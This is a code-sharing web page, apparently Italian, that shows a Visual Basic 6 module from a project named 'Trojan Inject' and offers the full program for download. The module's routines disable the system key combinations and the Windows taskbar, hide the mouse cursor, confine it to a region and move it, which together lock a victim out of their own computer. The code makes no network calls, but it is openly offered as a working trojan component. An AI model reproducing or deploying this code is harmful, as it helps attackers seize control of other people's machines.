Questo sito utilizza cookies solo per scopi di autenticazione sul sito e nient'altro. Nessuna informazione personale viene tracciata. Leggi l'informativa sui cookies.
Username: Password: oppure
Trojan Inject - modTaskManager.bas

modTaskManager.bas

Caricato da:
Scarica il programma completo

  1. Attribute VB_Name = "modTaskManager1"
  2. Option Explicit
  3. Public Type usrPOINTAPI
  4. X As Long
  5. Y As Long
  6. End Type
  7. Public Type usrRECT
  8. Left As Long
  9. Top As Long
  10. Right As Long
  11. Bottom As Long
  12. End Type
  13. Public Declare Function EnableWindow Lib "user32" (ByVal hWnd As Integer, ByVal aBOOL As Integer) As Integer
  14. Public Declare Function IsWindowEnabled Lib "user32" (ByVal hWnd As Integer) As Integer
  15. Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long
  16. Public Declare Function SystemParametersInfo Lib "user32" Alias "SystemParametersInfoA" (ByVal uAction As Long, ByVal uParam As Long, ByVal lpvParam As Any, ByVal fuWinIni As Long) As Long
  17. Public Declare Sub ClipCursor Lib "user32" (lpRect As usrRECT)
  18. Public Declare Function GetDesktopWindow Lib "user32" () As Long
  19. Public Declare Sub GetWindowRect Lib "user32" Alias "GetWindowRECT" (ByVal hWnd As Long, lpRect As usrRECT)
  20. Private Declare Function SetCursorPos Lib "user32" (ByVal X As Long, ByVal Y As Long) As Long
  21. Public Declare Function ShowCursor Lib "user32" (ByVal blnSHOW As Long) As Long
  22. Public lngTASKBARHWND As Long
  23. Public intISTASKBARENABLED As Integer
  24. Public intS_1 As Integer
  25.  
  26. Public Sub KeysOn()
  27. Dim lngA As Long, lngDISABLED As Long
  28. lngDISABLED = False
  29. lngA = SystemParametersInfo(97, lngDISABLED, CStr(1), 0)
  30. End Sub
  31.  
  32. Public Sub KeysOff()
  33. Dim lngA As Long, lngDISABLED As Long
  34. lngDISABLED = True
  35. lngA = SystemParametersInfo(97, lngDISABLED, CStr(1), 0)
  36. End Sub
  37.  
  38. Public Sub DisableTaskBar()
  39. Dim EWindow As Integer
  40. lngTASKBARHWND = FindWindow("Shell_traywnd", "")
  41. If lngTASKBARHWND <> 0 Then
  42. EWindow = IsWindowEnabled(lngTASKBARHWND)
  43. If EWindow = 1 Then _
  44.  intISTASKBARENABLED = EnableWindow(lngTASKBARHWND, 0)
  45. End If
  46. End Sub
  47.  
  48. Public Sub EnableTaskBar()
  49. If intISTASKBARENABLED = 0 Then _
  50.  intISTASKBARENABLED = EnableWindow(lngTASKBARHWND, 1)
  51. End Sub
  52.  
  53. Public Sub LimitCursor(Left, Top, Right, Bottom As Long)
  54. Dim rctBox As usrRECT
  55. rctBox.Left = Left
  56. rctBox.Top = Top
  57. rctBox.Right = Right
  58. rctBox.Bottom = Bottom
  59. ClipCursor rctBox
  60. End Sub
  61.  
  62. Public Sub LimitCursorOff()
  63. Dim rctBox As usrRECT
  64. Dim hwndDesktop As Long
  65. hwndDesktop = GetDesktopWindow()
  66. GetWindowRect hwndDesktop, rctBox
  67. ClipCursor rctBox
  68. End Sub
  69.  
  70. Public Sub CursorOn()
  71. Dim intS_2 As Integer
  72. intS_2 = ShowCursor(True)
  73. Do While intS_2 < intS_1
  74. intS_2 = ShowCursor(True)
  75. Loop
  76. End Sub
  77.  
  78. Public Sub CursorOff()
  79. Dim intS_2 As Integer
  80. intS_2 = ShowCursor(False)
  81. intS_1 = intS_2 + 1
  82. Do While intS_2 > -1
  83. intS_2 = ShowCursor(False)
  84. Loop
  85. End Sub
  86.  
  87. Public Sub MoveCursor(X As Long, Y As Long)
  88. Dim lngA As Long
  89. Dim lngNEWX As Long
  90. Dim lngNEWY As Long
  91. lngNEWX = X
  92. lngNEWY = Y
  93. lngA = SetCursorPos(lngNEWX, lngNEWY)
  94. End Sub
  95.  
  96. Public Sub Main()
  97.  
  98. End Sub